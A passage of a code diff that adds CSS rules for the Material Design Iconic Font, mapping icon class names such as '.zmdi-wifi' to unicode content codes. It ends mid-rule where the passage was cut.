+.zmdi-whatsapp:before {
+  content: '\f405';
+}
+.zmdi-xbox:before {
+  content: '\f406';
+}
+.zmdi-yahoo:before {
+  content: '\f407';
+}
+.zmdi-youtube-play:before {
+  content: '\f408';
+}
+.zmdi-youtube:before {
+  content: '\f409';
+}
+.zmdi-3d-rotation:before {
+  content: '\f101';
+}
+.zmdi-airplane-off:before {
+  content: '\f102';
+}
+.zmdi-airplane:before {
+  content: '\f103';
+}
+.zmdi-album:before {
+  content: '\f104';
+}
+.zmdi-archive:before {
+  content: '\f105';
+}
+.zmdi-assignment-account:before {
+  content: '\f106';
+}
+.zmdi-assignment-alert:before {
+  content: '\f107';
+}
+.zmdi-assignment-check:before {
+  content: '\f108';
+}
+.zmdi-assignment-o:before {
+  content: '\f109';
+}
+.zmdi-assignment-return:before {
+  content: '\f10a';
+}
+.zmdi-assignment-returned:before {
+  content: '\f10b';
+}
+.zmdi-assignment:before {
+  content: '\f10c';
+}
+.zmdi-attachment-alt:before {
+  content: '\f10d';
+}
+.zmdi-attachment:before {
+  content: '\f10e';
+}
+.zmdi-audio:before {
+  content: '\f10f';
+}
+.zmdi-badge-check:before {
+  content: '\f110';
+}
+.zmdi-balance-wallet:before {
+  content: '\f111';
+}
+.zmdi-balance:before {
+  content: '\f112';
+}
+.zmdi-battery-alert:before {
+  content: '\f113';
+}
+.zmdi-battery-flash:before {
+  content: '\f114';
+}
+.zmdi-battery-unknown:before {
+  content: '\f115';
+}
+.zmdi-battery:before {
+  content: '\f116';
+}
+.zmdi-bike:before {
+  content: '\f117';
+}
+.zmdi-block-alt:before {
+  content: '\f118';
+}
+.zmdi-block:before {
+  content: '\f119';
+}
+.zmdi-boat:before {
+  content: '\f11a';
+}
+.zmdi-book-image:before {
+  content: '\f11b';
+}
+.zmdi-book:before {
+  content: '\f11c';
+}
+.zmdi-bookmark-outline:before {
+  content: '\f11d';
+}
+.zmdi-bookmark:before {
+  content: '\f11e';
+}
+.zmdi-brush:before {
+  content: '\f11f';
+}
+.zmdi-bug:before {
+  content: '\f120';
+}
+.zmdi-bus:before {
+  content: '\f121';
+}
+.zmdi-cake:before {
+  content: '\f122';
+}
+.zmdi-car-taxi:before {
+  content: '\f123';
+}
+.zmdi-car-wash:before {
+  content: '\f124';
+}
+.zmdi-car:before {
+  content: '\f125';
+}
+.zmdi-card-giftcard:before {
+  content: '\f126';
+}
+.zmdi-card-membership:before {
+  content: '\f127';
+}
+.zmdi-card-travel:before {
+  content: '\f128';
+}
+.zmdi-card:before {
+  content: '\f129';
+}
+.zmdi-case-check:before {
+  content: '\f12a';
+}
+.zmdi-case-download:before {
+  content: '\f12b';
+}
+.zmdi-case-play:before {
+  content: '\f12c';
+}
+.zmdi-case:before {
+  content: '\f12d';
+}
+.zmdi-cast-connected:before {
+  content: '\f12e';
+}
+.zmdi-cast:before {
+  content: '\f12f';
+}
+.zmdi-chart-donut:before {
+  content: '\f130';
+}
+.zmdi-chart:before {
+  content: '\f131';
+}
+.zmdi-city-alt:before {
+  content: '\f132';
+}
+.zmdi-city:before {
+  content: '\f133';
+}
+.zmdi-close-circle-o:before {
+  content: '\f134';
+}
+.zmdi-close-circle:before {
+  content: '\f135';
+}
+.zmdi-close:before {
+  content: '\f136';
+}
+.zmdi-cocktail:before {
+  content: '\f137';
+}
+.zmdi-code-setting:before {
+  content: '\f138';
+}
+.zmdi-code-smartphone:before {
+  content: '\f139';
+}
+.zmdi-code:before {
+  content: '\f13a';
+}
+.zmdi-coffee:before {
+  content: '\f13b';
+}
+.zmdi-collection-bookmark:before {
+  content: '\f13c';
+}
+.zmdi-collection-case-play:before {
+  content: '\f13d';
+}
+.zmdi-collection-folder-image:before {
+  content: '\f13e';
+}
+.zmdi-collection-image-o:before {
+  content: '\f13f';
+}
+.zmdi-collection-image:before {
+  content: '\f140';
+}
+.zmdi-collection-item-1:before {
+  content: '\f141';
+}
+.zmdi-collection-item-2:before {
+  content: '\f142';
+}
+.zmdi-collection-item-3:before {
+  content: '\f143';
+}
+.zmdi-collection-item-4:before {
+  content: '\f144';
+}
+.zmdi-collection-item-5:before {
+  content: '\f145';
+}
+.zmdi-collection-item-6:before {
+  content: '\f146';
+}
+.zmdi-collection-item-7:before {
+  content: '\f147';
+}
+.zmdi-collection-item-8:before {
+  content: '\f148';
+}
+.zmdi-collection-item-9-plus:before {
+  content: '\f149';
+}
+.zmdi-collection-item-9:before {
+  content: '\f14a';
+}
+.zmdi-collection-item:before {
+  content: '\f14b';
+}
+.zmdi-collection-music:before {
+  content: '\f14c';
+}
+.zmdi-collection-pdf:before {
+  content: '\f14d';
+}
+.zmdi-collection-plus:before {
+  content: '\f14e';
+}
+.zmdi-collection-speaker:before {
+  content: '\f14f';
+}
+.zmdi-collection-text:before {
+  content: '\f150';
+}
+.zmdi-collection-video:before {
+  content: '\f151';
+}
+.zmdi-compass:before {
+  content: '\f152';
+}
+.zmdi-cutlery:before {
+  content: '\f153';
+}
+.zmdi-delete:before {
+  content: '\f154';
+}
+.zmdi-dialpad:before {
+  content: '\f155';
+}
+.zmdi-dns:before {
+  content: '\f156';
+}
+.zmdi-drink:before {
+  content: '\f157';
+}
+.zmdi-edit:before {
+  content: '\f158';
+}
+.zmdi-email-open:before {
+  content: '\f159';
+}
+.zmdi-email:before {
+  content: '\f15a';
+}
+.zmdi-eye-off:before {
+  content: '\f15b';
+}
+.zmdi-eye:before {
+  content: '\f15c';
+}
+.zmdi-eyedropper:before {
+  content: '\f15d';
+}
+.zmdi-favorite-outline:before {
+  content: '\f15e';
+}
+.zmdi-favorite:before {
+  content: '\f15f';
+}
+.zmdi-filter-list:before {
+  content: '\f160';
+}
+.zmdi-fire:before {
+  content: '\f161';
+}
+.zmdi-flag:before {
+  content: '\f162';
+}
+.zmdi-flare:before {
+  content: '\f163';
+}
+.zmdi-flash-auto:before {
+  content: '\f164';
+}
+.zmdi-flash-off:before {
+  content: '\f165';
+}
+.zmdi-flash:before {
+  content: '\f166';
+}
+.zmdi-flip:before {
+  content: '\f167';
+}
+.zmdi-flower-alt:before {
+  content: '\f168';
+}
+.zmdi-flower:before {
+  content: '\f169';
+}
+.zmdi-font:before {
+  content: '\f16a';
+}
+.zmdi-fullscreen-alt:before {
+  content: '\f16b';
+}
+.zmdi-fullscreen-exit:before {
+  content: '\f16c';
+}
+.zmdi-fullscreen:before {
+  content: '\f16d';
+}
+.zmdi-functions:before {
+  content: '\f16e';
+}
+.zmdi-gas-station:before {
+  content: '\f16f';
+}
+.zmdi-gesture:before {
+  content: '\f170';
+}
+.zmdi-globe-alt:before {
+  content: '\f171';
+}
+.zmdi-globe-lock:before {
+  content: '\f172';
+}
+.zmdi-globe:before {
+  content: '\f173';
+}
+.zmdi-graduation-cap:before {
+  content: '\f174';
+}
+.zmdi-home:before {
+  content: '\f175';
+}
+.zmdi-hospital-alt:before {
+  content: '\f176';
+}
+.zmdi-hospital:before {
+  content: '\f177';
+}
+.zmdi-hotel:before {
+  content: '\f178';
+}
+.zmdi-hourglass-alt:before {
+  content: '\f179';
+}
+.zmdi-hourglass-outline:before {
+  content: '\f17a';
+}
+.zmdi-hourglass:before {
+  content: '\f17b';
+}
+.zmdi-http:before {
+  content: '\f17c';
+}
+.zmdi-image-alt:before {
+  content: '\f17d';
+}
+.zmdi-image-o:before {
+  content: '\f17e';
+}
+.zmdi-image:before {
+  content: '\f17f';
+}
+.zmdi-inbox:before {
+  content: '\f180';
+}
+.zmdi-invert-colors-off:before {
+  content: '\f181';
+}
+.zmdi-invert-colors:before {
+  content: '\f182';
+}
+.zmdi-key:before {
+  content: '\f183';
+}
+.zmdi-label-alt-outline:before {
+  content: '\f184';
+}
+.zmdi-label-alt:before {
+  content: '\f185';
+}
+.zmdi-label-heart:before {
+  content: '\f186';
+}
+.zmdi-label:before {
+  content: '\f187';
+}
+.zmdi-labels:before {
+  content: '\f188';
+}
+.zmdi-lamp:before {
+  content: '\f189';
+}
+.zmdi-landscape:before {
+  content: '\f18a';
+}
+.zmdi-layers-off:before {
+  content: '\f18b';
+}
+.zmdi-layers:before {
+  content: '\f18c';
+}
+.zmdi-library:before {
+  content: '\f18d';
+}
+.zmdi-link:before {
+  content: '\f18e';
+}
+.zmdi-lock-open:before {
+  content: '\f18f';
+}
+.zmdi-lock-outline:before {
+  content: '\f190';
+}
+.zmdi-lock:before {
+  content: '\f191';
+}
+.zmdi-mail-reply-all:before {
+  content: '\f192';
+}
+.zmdi-mail-reply:before {
+  content: '\f193';
+}
+.zmdi-mail-send:before {
+  content: '\f194';
+}
+.zmdi-mall:before {
+  content: '\f195';
+}
+.zmdi-map:before {
+  content: '\f196';
+}
+.zmdi-menu:before {
+  content: '\f197';
+}
+.zmdi-money-box:before {
+  content: '\f198';
+}
+.zmdi-money-off:before {
+  content: '\f199';
+}
+.zmdi-money:before {
+  content: '\f19a';
+}
+.zmdi-more-vert:before {
+  content: '\f19b';
+}
+.zmdi-more:before {
+  content: '\f19c';
+}
+.zmdi-movie-alt:before {
+  content: '\f19d';
+}
+.zmdi-movie:before {
+  content: '\f19e';
+}
+.zmdi-nature-people:before {
+  content: '\f19f';
+}
+.zmdi-nature:before {
+  content: '\f1a0';
+}
+.zmdi-navigation:before {
+  content: '\f1a1';
+}
+.zmdi-open-in-browser:before {
+  content: '\f1a2';
+}
+.zmdi-open-in-new:before {
+  content: '\f1a3';
+}
+.zmdi-palette:before {
+  content: '\f1a4';
+}
+.zmdi-parking:before {
+  content: '\f1a5';
+}
+.zmdi-pin-account:before {
+  content: '\f1a6';
+}
+.zmdi-pin-assistant:before {
+  content: '\f1a7';
+}
+.zmdi-pin-drop:before {
+  content: '\f1a8';
+}
+.zmdi-pin-help:before {
+  content: '\f1a9';
+}
+.zmdi-pin-off:before {
+  content: '\f1aa';
+}
+.zmdi-pin:before {
+  content: '\f1ab';
+}
+.zmdi-pizza:before {
+  content: '\f1ac';
+}
+.zmdi-plaster:before {
+  content: '\f1ad';
+}
+.zmdi-power-setting:before {
+  content: '\f1ae';
+}
+.zmdi-power:before {
+  content: '\f1af';
+}
+.zmdi-print:before {
+  content: '\f1b0';
+}
+.zmdi-puzzle-piece:before {
+  content: '\f1b1';
+}
+.zmdi-quote:before {
+  content: '\f1b2';
+}
+.zmdi-railway:before {
+  content: '\f1b3';
+}
+.zmdi-receipt:before {
+  content: '\f1b4';
+}
+.zmdi-refresh-alt:before {
+  content: '\f1b5';
+}
+.zmdi-refresh-sync-alert:before {
+  content: '\f1b6';
+}
+.zmdi-refresh-sync-off:before {
+  content: '\f1b7';
+}
+.zmdi-refresh-sync:before {
+  content: '\f1b8';
+}
+.zmdi-refresh:before {
+  content: '\f1b9';
+}
+.zmdi-roller:before {
+  content: '\f1ba';
+}
+.zmdi-ruler:before {
+  content: '\f1bb';
+}
+.zmdi-scissors:before {
+  content: '\f1bc';
+}
+.zmdi-screen-rotation-lock:before {
+  content: '\f1bd';
+}
+.zmdi-screen-rotation:before {
+  content: '\f1be';
+}
+.zmdi-search-for:before {
+  content: '\f1bf';
+}
+.zmdi-search-in-file:before {
+  content: '\f1c0';
+}
+.zmdi-search-in-page:before {
+  content: '\f1c1';
+}
+.zmdi-search-replace:before {
+  content: '\f1c2';
+}
+.zmdi-search:before {
+  content: '\f1c3';
+}
+.zmdi-seat:before {
+  content: '\f1c4';
+}
+.zmdi-settings-square:before {
+  content: '\f1c5';
+}
+.zmdi-settings:before {
+  content: '\f1c6';
+}
+.zmdi-shield-check:before {
+  content: '\f1c7';
+}
+.zmdi-shield-security:before {
+  content: '\f1c8';
+}
+.zmdi-shopping-basket:before {
+  content: '\f1c9';
+}
+.zmdi-shopping-cart-plus:before {
+  content: '\f1ca';
+}
+.zmdi-shopping-cart:before {
+  content: '\f1cb';
+}
+.zmdi-sign-in:before {
+  content: '\f1cc';
+}
+.zmdi-sort-amount-asc:before {
+  content: '\f1cd';
+}
+.zmdi-sort-amount-desc:before {
+  content: '\f1ce';
+}
+.zmdi-sort-asc:before {
+  content: '\f1cf';
+}
+.zmdi-sort-desc:before {
+  content: '\f1d0';
+}
+.zmdi-spellcheck:before {
+  content: '\f1d1';
+}
+.zmdi-storage:before {
+  content: '\f1d2';
+}
+.zmdi-store-24:before {
+  content: '\f1d3';
+}
+.zmdi-store:before {
+  content: '\f1d4';
+}
+.zmdi-subway:before {
+  content: '\f1d5';
+}
+.zmdi-sun:before {
+  content: '\f1d6';
+}
+.zmdi-tab-unselected:before {
+  content: '\f1d7';
+}
+.zmdi-tab:before {
+  content: '\f1d8';
+}
+.zmdi-tag-close:before {
+  content: '\f1d9';
+}
+.zmdi-tag-more:before {
+  content: '\f1da';
+}
+.zmdi-tag:before {
+  content: '\f1db';
+}
+.zmdi-thumb-down:before {
+  content: '\f1dc';
+}
+.zmdi-thumb-up-down:before {
+  content: '\f1dd';
+}
+.zmdi-thumb-up:before {
+  content: '\f1de';
+}
+.zmdi-ticket-star:before {
+  content: '\f1df';
+}
+.zmdi-toll:before {
+  content: '\f1e0';
+}
+.zmdi-toys:before {
+  content: '\f1e1';
+}
+.zmdi-traffic:before {
+  content: '\f1e2';
+}
+.zmdi-translate:before {
+  content: '\f1e3';
+}
+.zmdi-triangle-down:before {
+  content: '\f1e4';
+}
+.zmdi-triangle-up:before {
+  content: '\f1e5';
+}
+.zmdi-truck:before {
+  content: '\f1e6';
+}
+.zmdi-turning-sign:before {
+  content: '\f1e7';
+}
+.zmdi-wallpaper:before {
+  content: '\f1e8';
+}
+.zmdi-washing-machine:before {
+  content: '\f1e9';
+}
+.zmdi-window-maximize:before {
+  content: '\f1ea';
+}
+.zmdi-window-minimize:before {
+  content: '\f1eb';
+}
+.zmdi-window-restore:before {
+  content: '\f1ec';
+}
+.zmdi-wrench:before {
+  content: '\f1ed';
+}
+.zmdi-zoom-in:before {
+  content: '\f1ee';
+}
+.zmdi-zoom-out:before {
+  content: '\f1ef';
+}
+.zmdi-alert-circle-o:before {
+  content: '\f1f0';
+}
+.zmdi-alert-circle:before {
+  content: '\f1f1';
+}
+.zmdi-alert-octagon:before {
+  content: '\f1f2';
+}
+.zmdi-alert-polygon:before {
+  content: '\f1f3';
+}
+.zmdi-alert-triangle:before {
+  content: '\f1f4';
+}
+.zmdi-help-outline:before {
+  content: '\f1f5';
+}
+.zmdi-help:before {
+  content: '\f1f6';
+}
+.zmdi-info-outline:before {
+  content: '\f1f7';
+}
+.zmdi-info:before {
+  content: '\f1f8';
+}
+.zmdi-notifications-active:before {
+  content: '\f1f9';
+}
+.zmdi-notifications-add:before {
+  content: '\f1fa';
+}
+.zmdi-notifications-none:before {
+  content: '\f1fb';
+}
+.zmdi-notifications-off:before {
+  content: '\f1fc';
+}
+.zmdi-notifications-paused:before {
+  content: '\f1fd';
+}
+.zmdi-notifications:before {
+  content: '\f1fe';
+}
+.zmdi-account-add:before {
+  content: '\f1ff';
+}
+.zmdi-account-box-mail:before {
+  content: '\f200';
+}
+.zmdi-account-box-o:before {
+  content: '\f201';
+}
+.zmdi-account-box-phone:before {
+  content: '\f202';
+}
+.zmdi-account-box:before {
+  content: '\f203';
+}
+.zmdi-account-calendar:before {
+  content: '\f204';
+}
+.zmdi-account-circle:before {
+  content: '\f205';
+}
+.zmdi-account-o:before {
+  content: '\f206';
+}
+.zmdi-account:before {
+  content: '\f207';
+}
+.zmdi-accounts-add:before {
+  content: '\f208';
+}
+.zmdi-accounts-alt:before {
+  content: '\f209';
+}
+.zmdi-accounts-list-alt:before {
+  content: '\f20a';
+}
+.zmdi-accounts-list:before {
+  content: '\f20b';
+}
+.zmdi-accounts-outline:before {
+  content: '\f20c';
+}
+.zmdi-accounts:before {
+  content: '\f20d';
+}
+.zmdi-face:before {
+  content: '\f20e';
+}
+.zmdi-female:before {
+  content: '\f20f';
+}
+.zmdi-male-alt:before {
+  content: '\f210';
+}
+.zmdi-male-female:before {
+  content: '\f211';
+}
+.zmdi-male:before {
+  content: '\f212';
+}
+.zmdi-mood-bad:before {
+  content: '\f213';
+}
+.zmdi-mood:before {
+  content: '\f214';
+}
+.zmdi-run:before {
+  content: '\f215';
+}
+.zmdi-walk:before {
+  content: '\f216';
+}
+.zmdi-cloud-box:before {
+  content: '\f217';
+}
+.zmdi-cloud-circle:before {
+  content: '\f218';
+}
+.zmdi-cloud-done:before {
+  content: '\f219';
+}
+.zmdi-cloud-download:before {
+  content: '\f21a';
+}
+.zmdi-cloud-off:before {
+  content: '\f21b';
+}
+.zmdi-cloud-outline-alt:before {
+  content: '\f21c';
+}
+.zmdi-cloud-outline:before {
+  content: '\f21d';
+}
+.zmdi-cloud-upload:before {
+  content: '\f21e';
+}
+.zmdi-cloud:before {
+  content: '\f21f';
+}
+.zmdi-download:before {
+  content: '\f220';
+}
+.zmdi-file-plus:before {
+  content: '\f221';
+}
+.zmdi-file-text:before {
+  content: '\f222';
+}
+.zmdi-file:before {
+  content: '\f223';
+}
+.zmdi-folder-outline:before {
+  content: '\f224';
+}
+.zmdi-folder-person:before {
+  content: '\f225';
+}
+.zmdi-folder-star-alt:before {
+  content: '\f226';
+}
+.zmdi-folder-star:before {
+  content: '\f227';
+}
+.zmdi-folder:before {
+  content: '\f228';
+}
+.zmdi-gif:before {
+  content: '\f229';
+}
+.zmdi-upload:before {
+  content: '\f22a';
+}
+.zmdi-border-all:before {
+  content: '\f22b';
+}
+.zmdi-border-bottom:before {
+  content: '\f22c';
+}
+.zmdi-border-clear:before {
+  content: '\f22d';
+}
+.zmdi-border-color:before {
+  content: '\f22e';
+}
+.zmdi-border-horizontal:before {
+  content: '\f22f';
+}
+.zmdi-border-inner:before {
+  content: '\f230';
+}
+.zmdi-border-left:before {
+  content: '\f231';
+}
+.zmdi-border-outer:before {
+  content: '\f232';
+}
+.zmdi-border-right:before {
+  content: '\f233';
+}
+.zmdi-border-style:before {
+  content: '\f234';
+}
+.zmdi-border-top:before {
+  content: '\f235';
+}
+.zmdi-border-vertical:before {
+  content: '\f236';
+}
+.zmdi-copy:before {
+  content: '\f237';
+}
+.zmdi-crop:before {
+  content: '\f238';
+}
+.zmdi-format-align-center:before {
+  content: '\f239';
+}
+.zmdi-format-align-justify:before {
+  content: '\f23a';
+}
+.zmdi-format-align-left:before {
+  content: '\f23b';
+}
+.zmdi-format-align-right:before {
+  content: '\f23c';
+}
+.zmdi-format-bold:before {
+  content: '\f23d';
+}
+.zmdi-format-clear-all:before {
+  content: '\f23e';
+}
+.zmdi-format-clear:before {
+  content: '\f23f';
+}
+.zmdi-format-color-fill:before {
+  content: '\f240';
+}
+.zmdi-format-color-reset:before {
+  content: '\f241';
+}
+.zmdi-format-color-text:before {
+  content: '\f242';
+}
+.zmdi-format-indent-decrease:before {
+  content: '\f243';
+}
+.zmdi-format-indent-increase:before {
+  content: '\f244';
+}
+.zmdi-format-italic:before {
+  content: '\f245';
+}
+.zmdi-format-line-spacing:before {
+  content: '\f246';
+}
+.zmdi-format-list-bulleted:before {
+  content: '\f247';
+}
+.zmdi-format-list-numbered:before {
+  content: '\f248';
+}
+.zmdi-format-ltr:before {
+  content: '\f249';
+}
+.zmdi-format-rtl:before {
+  content: '\f24a';
+}
+.zmdi-format-size:before {
+  content: '\f24b';
+}
+.zmdi-format-strikethrough-s:before {
+  content: '\f24c';
+}
+.zmdi-format-strikethrough:before {
+  content: '\f24d';
+}
+.zmdi-format-subject:before {
+  content: '\f24e';
+}
+.zmdi-format-underlined:before {
+  content: '\f24f';
+}
+.zmdi-format-valign-bottom:before {
+  content: '\f250';
+}
+.zmdi-format-valign-center:before {
+  content: '\f251';
+}
+.zmdi-format-valign-top:before {
+  content: '\f252';
+}
+.zmdi-redo:before {
+  content: '\f253';
+}
+.zmdi-select-all:before {
+  content: '\f254';
+}
+.zmdi-space-bar:before {
+  content: '\f255';
+}
+.zmdi-text-format:before {
+  content: '\f256';
+}
+.zmdi-transform:before {
+  content: '\f257';
+}
+.zmdi-undo:before {
+  content: '\f258';
+}
+.zmdi-wrap-text:before {
+  content: '\f259';
+}
+.zmdi-comment-alert:before {
+  content: '\f25a';
+}
+.zmdi-comment-alt-text:before {
+  content: '\f25b';
+}
+.zmdi-comment-alt:before {
+  content: '\f25c';
+}
+.zmdi-comment-edit:before {
+  content: '\f25d';
+}
+.zmdi-comment-image:before {
+  content: '\f25e';
+}
+.zmdi-comment-list:before {
+  content: '\f25f';
+}
+.zmdi-comment-more:before {
+  content: '\f260';
+}
+.zmdi-comment-outline:before {
+  content: '\f261';
+}
+.zmdi-comment-text-alt:before {
+  content: '\f262';
+}
+.zmdi-comment-text:before {
+  content: '\f263';
+}
+.zmdi-comment-video:before {
+  content: '\f264';
+}
+.zmdi-comment:before {
+  content: '\f265';
+}
+.zmdi-comments:before {
+  content: '\f266';
+}
+.zmdi-check-all:before {
+  content: '\f267';
+}
+.zmdi-check-circle-u:before {
+  content: '\f268';
+}
+.zmdi-check-circle:before {
+  content: '\f269';
+}
+.zmdi-check-square:before {
+  content: '\f26a';
+}
+.zmdi-check:before {
+  content: '\f26b';
+}
+.zmdi-circle-o:before {
+  content: '\f26c';
+}
+.zmdi-circle:before {
+  content: '\f26d';
+}
+.zmdi-dot-circle-alt:before {
+  content: '\f26e';
+}
+.zmdi-dot-circle:before {
+  content: '\f26f';
+}
+.zmdi-minus-circle-outline:before {
+  content: '\f270';
+}
+.zmdi-minus-circle:before {
+  content: '\f271';
+}
+.zmdi-minus-square:before {
+  content: '\f272';
+}
+.zmdi-minus:before {
+  content: '\f273';
+}
+.zmdi-plus-circle-o-duplicate:before {
+  content: '\f274';
+}
+.zmdi-plus-circle-o:before {
+  content: '\f275';
+}
+.zmdi-plus-circle:before {
+  content: '\f276';
+}
+.zmdi-plus-square:before {
+  content: '\f277';
+}
+.zmdi-plus:before {
+  content: '\f278';
+}
+.zmdi-square-o:before {
+  content: '\f279';
+}
+.zmdi-star-circle:before {
+  content: '\f27a';
+}
+.zmdi-star-half:before {
+  content: '\f27b';
+}
+.zmdi-star-outline:before {
+  content: '\f27c';
+}
+.zmdi-star:before {
+  content: '\f27d';
+}
+.zmdi-bluetooth-connected:before {
+  content: '\f27e';
+}
+.zmdi-bluetooth-off:before {
+  content: '\f27f';
+}
+.zmdi-bluetooth-search:before {
+  content: '\f280';
+}
+.zmdi-bluetooth-setting:before {
+  content: '\f281';
+}
+.zmdi-bluetooth:before {
+  content: '\f282';
+}
+.zmdi-camera-add:before {
+  content: '\f283';
+}
+.zmdi-camera-alt:before {
+  content: '\f284';
+}
+.zmdi-camera-bw:before {
+  content: '\f285';
+}
+.zmdi-camera-front:before {
+  content: '\f286';
+}
+.zmdi-camera-mic:before {
+  content: '\f287';
+}
+.zmdi-camera-party-mode:before {
+  content: '\f288';
+}
+.zmdi-camera-rear:before {
+  content: '\f289';
+}
+.zmdi-camera-roll:before {
+  content: '\f28a';
+}
+.zmdi-camera-switch:before {
+  content: '\f28b';
+}
+.zmdi-camera:before {
+  content: '\f28c';
+}
+.zmdi-card-alert:before {
+  content: '\f28d';
+}
+.zmdi-card-off:before {
+  content: '\f28e';
+}
+.zmdi-card-sd:before {
+  content: '\f28f';
+}
+.zmdi-card-sim:before {
+  content: '\f290';
+}
+.zmdi-desktop-mac:before {
+  content: '\f291';
+}
+.zmdi-desktop-windows:before {
+  content: '\f292';
+}
+.zmdi-device-hub:before {
+  content: '\f293';
+}
+.zmdi-devices-off:before {
+  content: '\f294';
+}
+.zmdi-devices:before {
+  content: '\f295';
+}
+.zmdi-dock:before {
+  content: '\f296';
+}
+.zmdi-floppy:before {
+  content: '\f297';
+}
+.zmdi-gamepad:before {
+  content: '\f298';
+}
+.zmdi-gps-dot:before {
+  content: '\f299';
+}
+.zmdi-gps-off:before {
+  content: '\f29a';
+}
+.zmdi-gps:before {
+  content: '\f29b';
+}
+.zmdi-headset-mic:before {
+  content: '\f29c';
+}
+.zmdi-headset:before {
+  content: '\f29d';
+}
+.zmdi-input-antenna:before {
+  content: '\f29e';
+}
+.zmdi-input-composite:before {
+  content: '\f29f';
+}
+.zmdi-input-hdmi:before {
+  content: '\f2a0';
+}
+.zmdi-input-power:before {
+  content: '\f2a1';
+}
+.zmdi-input-svideo:before {
+  content: '\f2a2';
+}
+.zmdi-keyboard-hide:before {
+  content: '\f2a3';
+}
+.zmdi-keyboard:before {
+  content: '\f2a4';
+}
+.zmdi-laptop-chromebook:before {
+  content: '\f2a5';
+}
+.zmdi-laptop-mac:before {
+  content: '\f2a6';
+}
+.zmdi-laptop:before {
+  content: '\f2a7';
+}
+.zmdi-mic-off:before {
+  content: '\f2a8';
+}
+.zmdi-mic-outline:before {
+  content: '\f2a9';
+}
+.zmdi-mic-setting:before {
+  content: '\f2aa';
+}
+.zmdi-mic:before {
+  content: '\f2ab';
+}
+.zmdi-mouse:before {
+  content: '\f2ac';
+}
+.zmdi-network-alert:before {
+  content: '\f2ad';
+}
+.zmdi-network-locked:before {
+  content: '\f2ae';
+}
+.zmdi-network-off:before {
+  content: '\f2af';
+}
+.zmdi-network-outline:before {
+  content: '\f2b0';
+}
+.zmdi-network-setting:before {
+  content: '\f2b1';
+}
+.zmdi-network:before {
+  content: '\f2b2';
+}
+.zmdi-phone-bluetooth:before {
+  content: '\f2b3';
+}
+.zmdi-phone-end:before {
+  content: '\f2b4';
+}
+.zmdi-phone-forwarded:before {
+  content: '\f2b5';
+}
+.zmdi-phone-in-talk:before {
+  content: '\f2b6';
+}
+.zmdi-phone-locked:before {
+  content: '\f2b7';
+}
+.zmdi-phone-missed:before {
+  content: '\f2b8';
+}
+.zmdi-phone-msg:before {
+  content: '\f2b9';
+}
+.zmdi-phone-paused:before {
+  content: '\f2ba';
+}
+.zmdi-phone-ring:before {
+  content: '\f2bb';
+}
+.zmdi-phone-setting:before {
+  content: '\f2bc';
+}
+.zmdi-phone-sip:before {
+  content: '\f2bd';
+}
+.zmdi-phone:before {
+  content: '\f2be';
+}
+.zmdi-portable-wifi-changes:before {
+  content: '\f2bf';
+}
+.zmdi-portable-wifi-off:before {
+  content: '\f2c0';
+}
+.zmdi-portable-wifi:before {
+  content: '\f2c1';
+}
+.zmdi-radio:before {
+  content: '\f2c2';
+}
+.zmdi-reader:before {
+  content: '\f2c3';
+}
+.zmdi-remote-control-alt:before {
+  content: '\f2c4';
+}
+.zmdi-remote-control:before {
+  content: '\f2c5';
+}
+.zmdi-router:before {
+  content: '\f2c6';
+}
+.zmdi-scanner:before {
+  content: '\f2c7';
+}
+.zmdi-smartphone-android:before {
+  content: '\f2c8';
+}
+.zmdi-smartphone-download:before {
+  content: '\f2c9';
+}
+.zmdi-smartphone-erase:before {
+  content: '\f2ca';
+}
+.zmdi-smartphone-info:before {
+  content: '\f2cb';
+}
+.zmdi-smartphone-iphone:before {
+  content: '\f2cc';
+}
+.zmdi-smartphone-landscape-lock:before {
+  content: '\f2cd';
+}
+.zmdi-smartphone-landscape:before {
+  content: '\f2ce';
+}
+.zmdi-smartphone-lock:before {
+  content: '\f2cf';
+}
+.zmdi-smartphone-portrait-lock:before {
+  content: '\f2d0';
+}
+.zmdi-smartphone-ring:before {
+  content: '\f2d1';
+}
+.zmdi-smartphone-setting:before {
+  content: '\f2d2';
+}
+.zmdi-smartphone-setup:before {
+  content: '\f2d3';
+}
+.zmdi-smartphone:before {
+  content: '\f2d4';
+}
+.zmdi-speaker:before {
+  content: '\f2d5';
+}
+.zmdi-tablet-android:before {
+  content: '\f2d6';
+}
+.zmdi-tablet-mac:before {
+  content: '\f2d7';
+}
+.zmdi-tablet:before {
+  content: '\f2d8';
+}
+.zmdi-tv-alt-play:before {
+  content: '\f2d9';
+}
+.zmdi-tv-list:before {
+  content: '\f2da';
+}
+.zmdi-tv-play:before {
+  content: '\f2db';
+}
+.zmdi-tv:before {
+  content: '\f2dc';
+}
+.zmdi-usb:before {
+  content: '\f2dd';
+}
+.zmdi-videocam-off:before {
+  content: '\f2de';
+}
+.zmdi-videocam-switch:before {
+  content: '\f2df';
+}
+.zmdi-videocam:before {
+  content: '\f2e0';
+}
+.zmdi-watch:before {
+  content: '\f2e1';
+}
+.zmdi-wifi-alt-2:before {
+  content: '\f2e2';
+}
+.zmdi-wifi-alt:before {
+  content: '\f2e3';
+}
+.zmdi-wifi-info:before {
+  content: '\f2e4';
+}
+.zmdi-wifi-lock:before {
+  content: '\f2e5';
+}
+.zmdi-wifi-off:before {
+  content: '\f2e6';
+}
+.zmdi-wifi-outline:before {
+  content: '\f2e7';
+}
+.zmdi-wifi:before {
+  content: '\f2e8';
+}
+.zmdi-arrow-left-bottom:before {
+  content: '\f2e9';
+}
+.zmdi-arrow-left:before {
+  content: '\f2ea';
+}
+.zmdi-arrow-merge:before {
+  content: '\f2eb';
+}
+.zmdi-arrow-missed:before {
+  content: '\f2ec';
+}
+.zmdi-arrow-right-top:before {
+  content: '\f2ed';
+}
+.zmdi-arrow-right:before {
+  content: '\f2ee';
+}
+.zmdi-arrow-split:before {
+  content: '\f2ef';
+}
+.zmdi-arrows:before {
+  content: '\f2f0';
+}
+.zmdi-caret-down-circle:before {
+  content: '\f2f1';
+}
+.zmdi-caret-down:before {
+  content: '\f2f2';
+}
+.zmdi-caret-left-circle:before {
+  content: '\f2f3';
+}
+.zmdi-caret-left:before {
+  content: '\f2f4';
+}
+.zmdi-caret-right-circle:before {
+  content: '\f2f5';
+}
+.zmdi-caret-right:before {
+  content: '\f2f6';
+}
+.zmdi-caret-up-circle:before {
+  content: '\f2f7';
+}
+.zmdi-caret-up:before {
+  content: '\f2f8';
+}
+.zmdi-chevron-down:before {
+  content: '\f2f9';
+}
+.zmdi-chevron-left:before {
+  content: '\f2fa';
+}
+.zmdi-chevron-right:before {
+  content: '\f2fb';
+}
+.zmdi-chevron-up:before {
